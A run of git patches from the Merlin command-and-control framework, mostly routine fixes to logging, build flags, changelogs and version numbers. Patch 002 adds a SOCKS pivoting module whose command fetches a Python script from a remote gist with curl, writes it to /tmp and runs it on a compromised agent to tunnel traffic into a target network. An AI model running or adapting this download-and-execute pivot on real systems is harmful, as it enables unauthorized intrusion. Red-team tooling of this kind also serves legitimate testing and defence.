From 316a8075e8af748eaeeefc61be127f05f9c2b2e3 Mon Sep 17 00:00:00 2001 From: Dan Borges Date: Mon, 9 Apr 2018 18:28:11 -0700 Subject: [PATCH 001/112] Update http2.go small bug fix, new checkins in verbose mode were showing the http request's host field, which is the name of the merlin server, not the egress IP address the beacon is coming from --- pkg/servers/http2/http2.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index ad9b4ecd..02cf1dcc 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -41,8 +41,8 @@ import ( func handler(w http.ResponseWriter, r *http.Request) { if core.Verbose { - message("note", fmt.Sprintf("Received HTTP %s Connection from %s", r.Method, r.Host)) - logging.Server(fmt.Sprintf("Received HTTP %s Connection from %s", r.Method, r.Host)) + message("note", fmt.Sprintf("Received HTTP %s Connection from %s", r.Method, r.RemoteAddr)) + logging.Server(fmt.Sprintf("Received HTTP %s Connection from %s", r.Method, r.RemoteAddr)) } if core.Debug { From 9744494a788bb11174a79433d11b9e47b18d3160 Mon Sep 17 00:00:00 2001 From: Kevin Date: Wed, 5 Dec 2018 16:01:12 -0700 Subject: [PATCH 002/112] Added a module for Python-based SOCKS proxying MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The SOCKS module connects out to a server, and allows you to tunnel SOCKS-wrapped connections into the target network over TLS. The server can be downloaded from https://github.com/klustic/AlmondRocks (follow the README there to set the AlmondRocks (arox) server up). Example usage: ``` Merlin» agent list +--------------------------------------+-------------+------+--------------+-------------+---------+ | AGENT GUID | PLATFORM | USER | HOST | TRANSPORT | STATUS | +--------------------------------------+-------------+------+--------------+-------------+---------+ | b93df9ce-97fe-4644-b205-d72ad41f99e4 | linux/amd64 | root | 5b56f371f161 | HTTP/2 (h2) | Delayed | +--------------------------------------+-------------+------+--------------+-------------+---------+ Merlin» use module linux/x64/python/pivoting/arox Merlin[module][AlmondRocks]» set host 10.30.43.78:443 [+]host set to 10.30.43.78:443 Merlin[module][AlmondRocks]» set agent b93df9ce-97fe-4644-b205-d72ad41f99e4 [+]agent set to b93df9ce-97fe-4644-b205-d72ad41f99e4 Merlin[module][AlmondRocks]» show options Agent: b93df9ce-97fe-4644-b205-d72ad41f99e4 Module options(AlmondRocks) NAME | VALUE | REQUIRED | DESCRIPTION +-------+--------------------------------------+----------+--------------------------------+ Agent | b93df9ce-97fe-4644-b205-d72ad41f99e4 | true | Agent on which to run module | | | AlmondRocks host | 10.30.43.78:443 | true | The AlmondRocks | | | server, specified as | | | : Merlin[module][AlmondRocks]» run [-]Created job zZEiTLGFUO for agent b93df9ce-97fe-4644-b205-d72ad41f99e4 ON THE AROX SERVER: # python arox.py -v server -s 0.0.0.0:1080 -t 0.0.0.0:443 --cert /tmp/arox/bin/../ssl/cert.pem --key /tmp/arox/bin/../ssl/key.pem [2018-12-05 22:29:07] WARNING SocksServer: Waiting for Tunnel connections on 0.0.0.0:443 [2018-12-05 22:46:03] WARNING SocksServer: Accepted Tunnel connection from 172.17.0.1:50216 [2018-12-05 22:46:03] INFO SocksServer: Listening for SOCKSv5 clients on 0.0.0.0:1080 [2018-12-05 22:47:28] INFO SocksServer: Created new channel: [2018-12-05 22:47:28] INFO SocksServer: Channel connected remotely: [2018-12-05 22:47:28] INFO Tunnel: Closed channel: [2018-12-05 22:47:34] INFO SocksServer: Created new channel: [2018-12-05 22:47:34] INFO SocksServer: Channel connected remotely: [2018-12-05 22:47:35] INFO Tunnel: Closed channel: [2018-12-05 22:47:38] INFO SocksServer: Created new channel: [2018-12-05 22:47:38] INFO SocksServer: Channel connected remotely: [2018-12-05 22:47:39] INFO Tunnel: Closed channel: ``` --- .../linux/x64/python/pivoting/arox.json | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 data/modules/linux/x64/python/pivoting/arox.json diff --git a/data/modules/linux/x64/python/pivoting/arox.json b/data/modules/linux/x64/python/pivoting/arox.json new file mode 100644 index 00000000..a04ca988 --- /dev/null +++ b/data/modules/linux/x64/python/pivoting/arox.json @@ -0,0 +1,30 @@ +{ + "base": { + "name": "AlmondRocks", + "type": "standard", + "author": ["Kevin Lustic"], + "path": ["linux", "x64", "python", "pivoting", "arox.json"], + "platform": "linux", + "arch": "x64", + "lang": "python", + "privilege": false, + "remote": "https://gist.githubusercontent.com/klustic/14efac58264f5a3f082f8b2731b21c93/raw/459c81af93f78c8f155cbcf16e145d4be62da972/arox.py", + "options": [ + {"name": "host", "value": "", "required": true, "description":"The AlmondRocks server, specified as :"} + ], + "description": "AlmondRocks (arox) connects out to a public-facing server to tunnel SOCKSv5-wrapped comms in.", + "notes": "https://github.com/klustic/AlmondRocks", + "commands": [ + "/bin/bash", + "-c", + "\"curl -vk -Lo /tmp/arox.py https://gist.githubusercontent.com/klustic/14efac58264f5a3f082f8b2731b21c93/raw/459c81af93f78c8f155cbcf16e145d4be62da972/arox.py; /usr/bin/python /tmp/arox.py {{host}} &\";" + ] + }, + "additionalInstructions": { + "Setup": [ + "1. Download AlmondRocks server to a publicly accessible host: https://github.com/klustic/AlmondRocks", + "2. Follow the README for AlmondRocks to setup the server" + ], + "Comments": "The additionalInstructions tag is ignored by Merlin and are for user consumption only." + } +} From 20f175340ba3e0dfe0e05214432df27219aab180 Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Sat, 19 Jan 2019 15:33:23 -0500 Subject: [PATCH 003/112] fixes case-sensitive autocomplete on module menu * lint pass --- pkg/cli/cli.go | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 4908e358..fcaf814d 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -34,9 +34,9 @@ import ( // 3rd Party "github.com/chzyer/readline" "github.com/fatih/color" + "github.com/mattn/go-shellwords" "github.com/olekukonko/tablewriter" "github.com/satori/go.uuid" - "github.com/mattn/go-shellwords" // Merlin "github.com/Ne0nd0g/merlin/pkg" @@ -155,7 +155,7 @@ func Shell() { shellModule.ShowInfo() case "set": if len(cmd) > 2 { - if cmd[1] == "agent" { + if cmd[1] == "Agent" { s, err := shellModule.SetAgent(cmd[2]) if err != nil { message("warn", err.Error()) @@ -221,10 +221,10 @@ func Shell() { } case "download": if len(cmd) >= 2 { - arg := strings.Join(cmd[1:]," ") + arg := strings.Join(cmd[1:], " ") argS, errS := shellwords.Parse(arg) if errS != nil { - message("warn",fmt.Sprintf("There was an error parsing command line argments: %s\r\n%s", line, errS.Error())) + message("warn", fmt.Sprintf("There was an error parsing command line argments: %s\r\n%s", line, errS.Error())) break } if len(argS) >= 1 { @@ -427,15 +427,15 @@ func Shell() { } case "upload": if len(cmd) >= 3 { - arg := strings.Join(cmd[1:]," ") + arg := strings.Join(cmd[1:], " ") argS, errS := shellwords.Parse(arg) if errS != nil { - message("warn",fmt.Sprintf("There was an error parsing command line argments: %s\r\n%s", line, errS.Error())) + message("warn", fmt.Sprintf("There was an error parsing command line argments: %s\r\n%s", line, errS.Error())) break } if len(argS) >= 2 { _, errF := os.Stat(argS[0]) - if errF != nil{ + if errF != nil { message("warn", fmt.Sprintf("There was an error accessing the source upload file:\r\n%s", errF.Error())) break } @@ -604,7 +604,7 @@ func getCompleter(completer string) *readline.PrefixCompleter { readline.PcItem("info"), ), readline.PcItem("set", - readline.PcItem("agent", + readline.PcItem("Agent", readline.PcItem("all"), readline.PcItemDynamic(agents.GetAgentList()), ), From fe1fae600eb2b8244eda8bfc44152d6e3b42de17 Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Fri, 18 Jan 2019 21:31:23 -0500 Subject: [PATCH 004/112] modifies makefile to set callback url at runtime * modify javascript agent with Makefile URL var * unset now-unused url variable assignment for agent/dll --- Makefile | 10 +++++++--- cmd/merlinagent/main.go | 2 +- cmd/merlinagentdll/main.go | 2 +- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/Makefile b/Makefile index 4358a3ca..88e7f729 100644 --- a/Makefile +++ b/Makefile @@ -9,8 +9,11 @@ PASSWORD=merlin BUILD=$(shell git rev-parse HEAD) DIR=data/temp/v${VERSION}/${BUILD} BIN=data/bin/ -LDFLAGS=-ldflags "-s -w -X main.build=${BUILD} -X github.com/Ne0nd0g/merlin/pkg/agent.build=${BUILD}" -WINAGENTLDFLAGS=-ldflags "-s -w -X main.build=${BUILD} -X github.com/Ne0nd0g/merlin/pkg/agent.build=${BUILD} -H=windowsgui" +XBUILD=-X main.build=${BUILD} -X github.com/Ne0nd0g/merlin/pkg/agent.build=${BUILD} +URL ?= https://127.0.0.1:443 +XURL=-X main.url=${URL} +LDFLAGS=-ldflags "-s -w ${XBUILD} ${XURL}" +WINAGENTLDFLAGS=-ldflags "-s -w ${XBUILD} ${XURL} -H=windowsgui" PACKAGE=7za a -p${PASSWORD} -mhe -mx=9 F=README.MD LICENSE data/modules docs data/README.MD data/agents/README.MD data/db/ data/log/README.MD data/x509 data/src data/bin data/html F2=LICENSE @@ -54,7 +57,7 @@ agent-windows: # Compile Agent - Windows x64 DLL agent-dll: export GOOS=windows GOARCH=amd64 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1; \ - go build -buildmode=c-archive -o ${DIR}/main.a cmd/merlinagentdll/main.go; \ + go build ${LDFLAGS} -buildmode=c-archive -o ${DIR}/main.a cmd/merlinagentdll/main.go; \ cp data/bin/dll/merlin.c ${DIR}; \ x86_64-w64-mingw32-gcc -shared -pthread -o ${DIR}/merlin.dll ${DIR}/merlin.c ${DIR}/main.a -lwinmm -lntdll -lws2_32 @@ -86,6 +89,7 @@ agent-darwin: agent-javascript: sed -i 's/var build = ".*"/var build = "${BUILD}"/' data/html/scripts/merlin.js sed -i 's/var version = ".*"/var version = "${VERSION}"/' data/html/scripts/merlin.js + sed -i 's|var url = ".*"|var url = "${URL}"|' data/html/scripts/merlin.js # Make directory 'data' and then agents, db, log, x509; Copy src folder, README, and requirements package-server-windows: diff --git a/cmd/merlinagent/main.go b/cmd/merlinagent/main.go index 21f226ee..49585d65 100644 --- a/cmd/merlinagent/main.go +++ b/cmd/merlinagent/main.go @@ -33,7 +33,7 @@ import ( ) // GLOBAL VARIABLES -var url = "https://127.0.0.1:443/" +var url = "https://127.0.0.1:443" var build = "nonRelease" func main() { diff --git a/cmd/merlinagentdll/main.go b/cmd/merlinagentdll/main.go index 2b5d7234..ae837053 100644 --- a/cmd/merlinagentdll/main.go +++ b/cmd/merlinagentdll/main.go @@ -28,7 +28,7 @@ import ( "github.com/Ne0nd0g/merlin/pkg/agent" ) -var url = "https://127.0.0.1:443/" +var url = "https://127.0.0.1:443" func main() {} From 45e18573de351e105d9da0ac7a1e7072c4e62f7b Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Sat, 19 Jan 2019 14:44:06 -0500 Subject: [PATCH 005/112] modify CHANGELOG to reflect PR changes --- docs/CHANGELOG.MD | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 05328239..b841799a 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,6 +4,13 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 0.6.6 - 2019-01-19 + +### Changed + +- [Pull 43](https://github.com/Ne1nd0g/merlin/pull/43) - Gives users the ability to dynamically +assign the callback URL variable at compile time by setting the URL= var in the make command + ## 0.6.5 - 2019-01-10 ### Fixed @@ -219,4 +226,4 @@ download Merlin_v0.1Beta.zip and unzip the contents. Next, download the applicable binary for your platform (i.e. merlinserver_windows_x64.exe) and place it in the root of that unzipped folder. The binary can be run from the command line. Alternatively, Merlin can be run directly as a go - script with go run cmd\merlinserver.go. \ No newline at end of file + script with go run cmd\merlinserver.go. From 42dc1875b66bb5ea493ad090792e8b08f917679a Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Sun, 20 Jan 2019 13:30:54 -0500 Subject: [PATCH 006/112] adds fix to the changelog --- docs/CHANGELOG.MD | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 05328239..774e7e4b 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -3,6 +3,14 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +# +## 0.6.6 - 2019-01-20 + +### Fixed +- [Pull 44](https://github.com/Ne0nd0g/merlin/pull/44) Fixes case-sensitive autocompletion of `agent` + on the module menu + + ## 0.6.5 - 2019-01-10 @@ -219,4 +227,4 @@ download Merlin_v0.1Beta.zip and unzip the contents. Next, download the applicable binary for your platform (i.e. merlinserver_windows_x64.exe) and place it in the root of that unzipped folder. The binary can be run from the command line. Alternatively, Merlin can be run directly as a go - script with go run cmd\merlinserver.go. \ No newline at end of file + script with go run cmd\merlinserver.go. From e66f272f2be7546c03015f5b8c6ebff3e20646e1 Mon Sep 17 00:00:00 2001 From: Russel Van Tuyl Date: Mon, 21 Jan 2019 07:26:31 -0500 Subject: [PATCH 007/112] Update CHANGELOG.MD --- docs/CHANGELOG.MD | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 7c46a34c..b03e3124 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -3,22 +3,18 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). -# -## 0.6.6 - 2019-01-20 - -### Fixed -- [Pull 44](https://github.com/Ne0nd0g/merlin/pull/44) Fixes case-sensitive autocompletion of `agent` - on the module menu - - -## 0.6.6 - 2019-01-19 +## 0.6.6 - 2019-01-21 ### Changed - [Pull 43](https://github.com/Ne1nd0g/merlin/pull/43) - Gives users the ability to dynamically assign the callback URL variable at compile time by setting the URL= var in the make command +### Fixed +- [Pull 44](https://github.com/Ne0nd0g/merlin/pull/44) Fixes case-sensitive autocompletion of `agent` + on the module menu + ## 0.6.5 - 2019-01-10 ### Fixed From 84122badc65a4ce799ac20e44c285dcf38dc5fdb Mon Sep 17 00:00:00 2001 From: Russel Van Tuyl Date: Mon, 21 Jan 2019 21:51:04 -0500 Subject: [PATCH 008/112] Update version number to 0.6.6 --- pkg/merlin.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/merlin.go b/pkg/merlin.go index d297f156..81c122e3 100644 --- a/pkg/merlin.go +++ b/pkg/merlin.go @@ -18,7 +18,7 @@ package merlin // Version is a constant variable containing the version number for the Merlin package -const Version = "0.6.4.BETA" +const Version = "0.6.6.BETA" // Build is the unique number based off the git commit in which it is compiled against var Build = "nonRelease" From 0d43dbed01388d50a50e56df0a6e2233dbc3b5a4 Mon Sep 17 00:00:00 2001 From: Russel Van Tuyl Date: Mon, 21 Jan 2019 21:54:03 -0500 Subject: [PATCH 009/112] Added check for Merlin version number --- docs/PULL_REQUEST_TEMPLATE.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/PULL_REQUEST_TEMPLATE.md b/docs/PULL_REQUEST_TEMPLATE.md index 425952aa..4e0d6aa6 100644 --- a/docs/PULL_REQUEST_TEMPLATE.md +++ b/docs/PULL_REQUEST_TEMPLATE.md @@ -7,6 +7,7 @@ - [ ] Passes linting checks and unit tests - [ ] Updated [CHANGELOG](../CHANGELOG.MD) - [ ] Updated README documentation (if applicable) +- [ ] Update Merlin version number in `pkg/merlin.go` (if applicable) ### Change Type - [ ] Addition @@ -15,4 +16,4 @@ - [ ] Removal - [ ] Security -### Description \ No newline at end of file +### Description From e13fb8353d7d16620ed5c806b85f61d5fcded0a9 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 22 Jan 2019 21:20:56 -0500 Subject: [PATCH 010/112] Added link to wiki on help menu --- docs/CHANGELOG.MD | 13 +++++++-- pkg/agents/agents.go | 58 +++++++++++++++++++------------------- pkg/merlin.go | 2 +- pkg/servers/http2/http2.go | 4 +-- 4 files changed, 43 insertions(+), 34 deletions(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index b03e3124..8553a346 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,16 +4,25 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 0.6.7 - 2019-01-XX + +### Added +- [Pull 45](https://github.com/Ne0nd0g/merlin/pull/45) - Added a module for Python-based SOCKS proxying (@klusitc) + +### Changed +- Modified http2.go to remove `[+]` & `[!]` from shell command results printed to the terminal +- Modified agents.go so the log files and agent info contain time in RFC13999 compliant UTC + ## 0.6.6 - 2019-01-21 ### Changed - [Pull 43](https://github.com/Ne1nd0g/merlin/pull/43) - Gives users the ability to dynamically -assign the callback URL variable at compile time by setting the URL= var in the make command +assign the callback URL variable at compile time by setting the URL= var in the make command by Alex Flores (@audibleblink) ### Fixed - [Pull 44](https://github.com/Ne0nd0g/merlin/pull/44) Fixes case-sensitive autocompletion of `agent` - on the module menu + on the module menu (@audibleblink) ## 0.6.5 - 2019-01-10 diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 6de6beb2..41e7d562 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -148,25 +148,25 @@ func InitialCheckIn(j messages.Base) { ID: j.ID, UserName: sysInfo.UserName, UserGUID: sysInfo.UserGUID, Platform: sysInfo.Platform, Architecture: sysInfo.Architecture, Ips: sysInfo.Ips, HostName: sysInfo.HostName, Pid: sysInfo.Pid, channel: make(chan []Job, 10), - agentLog: f, InitialCheckIn: time.Now(), StatusCheckIn: time.Now()} - - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Initial check in for agent %s\r\n", time.Now(), j.ID)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Agent Version: %s\r\n", time.Now(), agentInfo.Version)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Agent Build: %s\r\n", time.Now(), agentInfo.Build)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]WaitTime: %s\r\n", time.Now(), agentInfo.WaitTime)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]PaddingMax: %d\r\n", time.Now(), agentInfo.PaddingMax)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]MaxRetry: %d\r\n", time.Now(), agentInfo.MaxRetry)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]FailedCheckin: %d\r\n", time.Now(), agentInfo.FailedCheckin)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Skew: %d\r\n", time.Now(), agentInfo.Skew)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Proto: %s\r\n", time.Now(), agentInfo.Proto)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Platform: %s\r\n", time.Now(), sysInfo.Platform)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Platform: %s\r\n", time.Now(), sysInfo.Platform)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Architecture: %s\r\n", time.Now(), sysInfo.Architecture)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]HostName: %s\r\n", time.Now(), sysInfo.HostName)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]UserName: %s\r\n", time.Now(), sysInfo.UserName)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]UserGUID: %s\r\n", time.Now(), sysInfo.UserGUID)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Process ID: %d\r\n", time.Now(), sysInfo.Pid)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]IPs: %v\r\n", time.Now(), sysInfo.Ips)) + agentLog: f, InitialCheckIn: time.Now().UTC(), StatusCheckIn: time.Now().UTC()} + + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Initial check in for agent %s\r\n", time.Now().UTC().Format(time.RFC3339), j.ID)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Agent Version: %s\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.Version)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Agent Build: %s\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.Build)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]WaitTime: %s\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.WaitTime)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]PaddingMax: %d\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.PaddingMax)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]MaxRetry: %d\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.MaxRetry)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]FailedCheckin: %d\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.FailedCheckin)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Skew: %d\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.Skew)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Proto: %s\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.Proto)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Platform: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.Platform)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Platform: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.Platform)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Architecture: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.Architecture)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]HostName: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.HostName)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]UserName: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.UserName)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]UserGUID: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.UserGUID)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Process ID: %d\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.Pid)) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]IPs: %v\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.Ips)) } // StatusCheckIn is the function that is run when an agent sends a message back to server, checking in for additional instructions @@ -186,7 +186,7 @@ func StatusCheckIn(j messages.Base) (messages.Base, error) { return m, mErr } - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Agent status check in\r\n", time.Now())) + Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Agent status check in\r\n", time.Now().UTC().Format(time.RFC3339))) if core.Verbose { message("success", fmt.Sprintf("Received agent status checkin from %s", j.ID)) } @@ -196,7 +196,7 @@ func StatusCheckIn(j messages.Base) (messages.Base, error) { message("debug", fmt.Sprintf("Channel content: %s", Agents[j.ID].channel)) } - Agents[j.ID].StatusCheckIn = time.Now() + Agents[j.ID].StatusCheckIn = time.Now().UTC() // Check to see if there are any jobs if len(Agents[j.ID].channel) >= 1 { job := <-Agents[j.ID].channel @@ -267,7 +267,7 @@ func UpdateInfo(j messages.Base, p messages.AgentInfo) { // Log is used to write log messages to the agent's log file func Log(agentID uuid.UUID, logMessage string) { - Agents[agentID].agentLog.WriteString(fmt.Sprintf("[%s]%s\r\n", time.Now(), logMessage)) + Agents[agentID].agentLog.WriteString(fmt.Sprintf("[%s]%s\r\n", time.Now().UTC().Format(time.RFC3339), logMessage)) } // GetAgentList returns a list of agents that exist and is used for command line tab completion @@ -297,8 +297,8 @@ func ShowInfo(agentID uuid.UUID) { {"Hostname", Agents[agentID].HostName}, {"Process ID", strconv.Itoa(Agents[agentID].Pid)}, {"IP", fmt.Sprintf("%v", Agents[agentID].Ips)}, - {"Initial Check In", Agents[agentID].InitialCheckIn.String()}, - {"Last Check In", Agents[agentID].StatusCheckIn.String()}, + {"Initial Check In", Agents[agentID].InitialCheckIn.Format(time.RFC3339)}, + {"Last Check In", Agents[agentID].StatusCheckIn.Format(time.RFC3339)}, {"Agent Version", Agents[agentID].Version}, {"Agent Build", Agents[agentID].Build}, {"Agent Wait Time", Agents[agentID].WaitTime}, @@ -357,7 +357,7 @@ func AddJob(agentID uuid.UUID, jobType string, jobArgs []string) (string, error) Type: jobType, Status: "created", Args: jobArgs, - Created: time.Now(), + Created: time.Now().UTC(), } if agentID.String() == "ffffffff-ffff-ffff-ffff-ffffffffffff" { @@ -369,7 +369,7 @@ func AddJob(agentID uuid.UUID, jobType string, jobArgs []string) (string, error) job.ID = core.RandStringBytesMaskImprSrc(10) s <- []Job{job} Agents[k].agentLog.WriteString(fmt.Sprintf("[%s]Created job Type:%s, ID:%s, Status:%s, "+ - "Args:%s \r\n", time.Now(), job.Type, job.ID, job.Status, job.Args)) + "Args:%s \r\n", time.Now().UTC().Format(time.RFC3339), job.Type, job.ID, job.Status, job.Args)) } return job.ID, nil } @@ -377,7 +377,7 @@ func AddJob(agentID uuid.UUID, jobType string, jobArgs []string) (string, error) s := Agents[agentID].channel s <- []Job{job} Agents[agentID].agentLog.WriteString(fmt.Sprintf("[%s]Created job Type:%s, ID:%s, Status:%s, "+ - "Args:%s \r\n", time.Now(), job.Type, job.ID, job.Status, job.Args)) + "Args:%s \r\n", time.Now().UTC().Format(time.RFC3339), job.Type, job.ID, job.Status, job.Args)) return job.ID, nil } return "", errors.New("invalid agent ID") @@ -427,7 +427,7 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { case "download": m.Type = "FileTransfer" Agents[agentID].agentLog.WriteString(fmt.Sprintf("[%s]Downloading file from agent at %s\n", - time.Now(), + time.Now().UTC().Format(time.RFC3339), job.Args[0])) p := messages.FileTransfer{ @@ -522,7 +522,7 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { io.WriteString(fileHash, string(uploadFile)) Agents[agentID].agentLog.WriteString(fmt.Sprintf("[%s]Uploading file from server at %s of size %d"+ " bytes and SHA-1: %x to agent at %s\r\n", - time.Now(), + time.Now().UTC().Format(time.RFC3339), job.Args[0], len(uploadFile), fileHash.Sum(nil), diff --git a/pkg/merlin.go b/pkg/merlin.go index 81c122e3..cf860a8d 100644 --- a/pkg/merlin.go +++ b/pkg/merlin.go @@ -18,7 +18,7 @@ package merlin // Version is a constant variable containing the version number for the Merlin package -const Version = "0.6.6.BETA" +const Version = "0.6.7.BETA" // Build is the unique number based off the git commit in which it is compiled against var Build = "nonRelease" diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index 339d7c37..03a10d92 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -262,11 +262,11 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { message("success", fmt.Sprintf("Results for job %s", p.Job)) if len(p.Stdout) > 0 { agents.Log(j.ID, fmt.Sprintf("Command Results (stdout):\r\n%s", p.Stdout)) - message("success", fmt.Sprintf("%s", p.Stdout)) + color.Green(fmt.Sprintf("%s", p.Stdout)) } if len(p.Stderr) > 0 { agents.Log(j.ID, fmt.Sprintf("Command Results (stderr):\r\n%s", p.Stderr)) - message("warn", fmt.Sprintf("%s", p.Stderr)) + color.Red(fmt.Sprintf("%s", p.Stderr)) } case "AgentInfo": From 1a5253ba12a22ee60d0876fecefa772ec19b6bf7 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 22 Jan 2019 22:46:55 -0500 Subject: [PATCH 011/112] Update logging calls to use Log function. Replaced SHA-1 with SHA-256; Added in missing error checking. --- docs/CHANGELOG.MD | 2 + pkg/agents/agents.go | 104 ++++++++++++++++++++++++------------------- 2 files changed, 61 insertions(+), 45 deletions(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 8553a346..622ee203 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -12,6 +12,8 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. ### Changed - Modified http2.go to remove `[+]` & `[!]` from shell command results printed to the terminal - Modified agents.go so the log files and agent info contain time in RFC13999 compliant UTC +- Replaced SHA-1 hash with SHA-256 in log file when using upload command +- Updated agents.go with missing error checking ## 0.6.6 - 2019-01-21 diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 41e7d562..f9f1f210 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -18,8 +18,7 @@ package agents import ( - // Standard - "crypto/sha1" + "crypto/sha256" "encoding/base64" "encoding/json" "errors" @@ -124,11 +123,21 @@ func InitialCheckIn(j messages.Base) { agentsDir := filepath.Join(core.CurrentDir, "data", "agents") if _, errD := os.Stat(agentsDir); os.IsNotExist(errD) { - os.Mkdir(agentsDir, os.ModeDir) + err := os.Mkdir(agentsDir, os.ModeDir) + if err != nil { + message("warn", fmt.Sprintf("There was an error creating a folder in the agents directory at 